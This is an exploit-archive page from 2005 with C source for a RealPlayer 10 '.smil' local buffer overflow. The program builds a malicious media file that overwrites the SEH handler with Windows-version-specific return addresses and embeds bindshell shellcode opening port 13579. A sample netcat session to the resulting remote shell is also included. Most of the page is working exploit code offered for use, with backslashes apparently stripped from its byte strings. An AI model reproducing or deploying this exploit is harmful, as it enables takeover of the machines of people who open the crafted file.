RealPlayer 10 ".smil" File Local Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : RealPlayer 10 ".smil" File Local Buffer Overflow Exploit
# Published : 2005-03-07
# Author : nolimit
# Previous Title : iPool <= 1.6.81 Local Password Disclosure Exploit
# Next Title : Einstein <= 1.01 Local Password Disclosure Exploit (asm)
/* RealPlayer .smil file buffer overflow
Coded by nolimit@CiSO & Buzzdee
greets to COREiSO & #news & flare  & class101 & ESI & RVL & everyone else I forget
This uses a seh overwrite method, which takes advantage of the SEH being placed
in multiple locations over the different OS's. Because of this, it should be
completely universal. :).
Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.

 C:tools>nc -vv SERVER 1554 
 SERVER [192.168.1.93] 1554 (?) open 
 Microsoft Windows 2000 [Version 5.00.2195] 
 (C) Copyright 1985-2000 Microsoft Corp. 
  
 C:Program FilesRealRealPlayer> 

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char pre[]=
"<smil>n"
"  <head>n"
"    <layout>n"
"      <region id="a" top="5" />n"
"    </layout>n"
"  </head>n"
"  <body>n"
"    <text src="1024_768.en.txt" region="size" system-screen-size="";

char shellcode[]= 
/* bindshell port 13579 thx to metasploit.com :)
   restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e,
                     0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b  */ 
"x29xc9x83xe9xafxd9xeexd9x74x24xf4x5bx81x73x13x8f"
"x35x37x85x83xebxfcxe2xf4x73x5fxdcxcax67xccxc8x7a"
"x70x55xbcxe9xabx11xbcxc0xb3xbex4bx80xf7x34xd8x0e"
"xc0x2dxbcxdaxafx34xdcx66xbfx7cxbcxb1x04x34xd9xb4"
"x4fxacx9bx01x4fx41x30x44x45x38x36x47x64xc1x0cxd1"
"xabx1dx42x66x04x6ax13x84x64x53xbcx89xc4xbex68x99"
"x8exdex34xa9x04xbcx5bxa1x93x54xf4xb4x4fx51xbcxc5"
"xbfxbex77x89x04x45x2bx28x04x75x3fxdbxe7xbbx79x8b"
"x63x65xc8x53xbexeex51xd6xe9x5dx04xb7xe7x42x44xb7"
"xd0x61xc8x55xe7xfexdax79xb4x65xc8x53xd0xbcxd2xe3"
"x0exd8x3fx87xdax5fx35x7ax5fx5dxeex8cx7ax98x60x7a"
"x59x66x64xd6xdcx66x74xd6xccx66xc8x55xe9x5dx02x8e"
"xe9x66xbex64x1ax5dx93x9fxffxf2x60x7ax59x5fx27xd4"
"xdaxcaxe7xedx2bx98x19x6cxd8xcaxe1xd6xdaxcaxe7xed"
"x6ax7cxb1xccxd8xcaxe1xd5xdbx61x62x7ax5fxa6x5fx62"
"xf6xf3x4exd2x70xe3x62x7ax5fx53x5dxe1xe9x5dx54xe8"
"x06xd0x5dxd5xd6x1cxfbx0cx68x5fx73x0cx6dx04xf7x76"
"x25xcbx75xa8x71x77x1bx16x02x4fx0fx2ex24x9ex5fxf7"
"x71x86x21x7axfax71xc8x53xd4x62x65xd4xdex64x5dx84"
"xdex64x62xd4x70xe5x5fx28x56x30xf9xd6x70xe3x5dx7a"
"x70x02xc8x55x04x62xcbx06x4bx51xc8x53xddxcaxe7xed"
"xf1xedxd5xf6xdcxcaxe1x7ax5fx35x37x85";


char end[]= 
"  </body>"
"</smil>";

char overflow[1700];
int main(int argc,char *argv[])
{
    
	FILE *vuln;
	if(argc == 1)
	{
		printf("RealPlayer 10 .smil file local buffer overflow.n");
		printf("Coded by nolimit & buzzdee.n");
		printf("Usage: %s <outputfile>n",argv[0]);
		return 1;
	}
	vuln = fopen(argv[1],"w");
	//build overflow buffer here.
	memset(overflow,0x90,sizeof(overflow)); //fill with nops
	memcpy(overflow+1068,"xebx08xebx08",4); //
	memcpy(overflow+1072,"x4axe1xc9x61",4); // se handler in win xp (pop pop ret)
	memcpy(overflow+1084,"xebx08xebx08",4); //
	memcpy(overflow+1088,"xaex7fxA2x60",4); // se handler in win2k3 (pop pop ret) for small biz or something
	memcpy(overflow+1100,"xebx08xebx08",4); //
	memcpy(overflow+1104,"xaex7fxA2x60",4); // se handler in win2k3 (pop pop ret) enterprise
	memcpy(overflow+1108,"xebx08xebx08",4); //jump +8 into nops
	memcpy(overflow+1112,"xbfxbbxA2x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal ...^^)
    memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in 

	if(vuln)
	{
		//Write file
		fprintf(vuln,"%s%s"/>n%s",pre,overflow,end);
		fclose(vuln);
	}
	printf("File written.Binds a shell on port 13579.nOpen with realplayer to exploit.n");
	return 0;
}

// www.Syue.com [2005-03-07]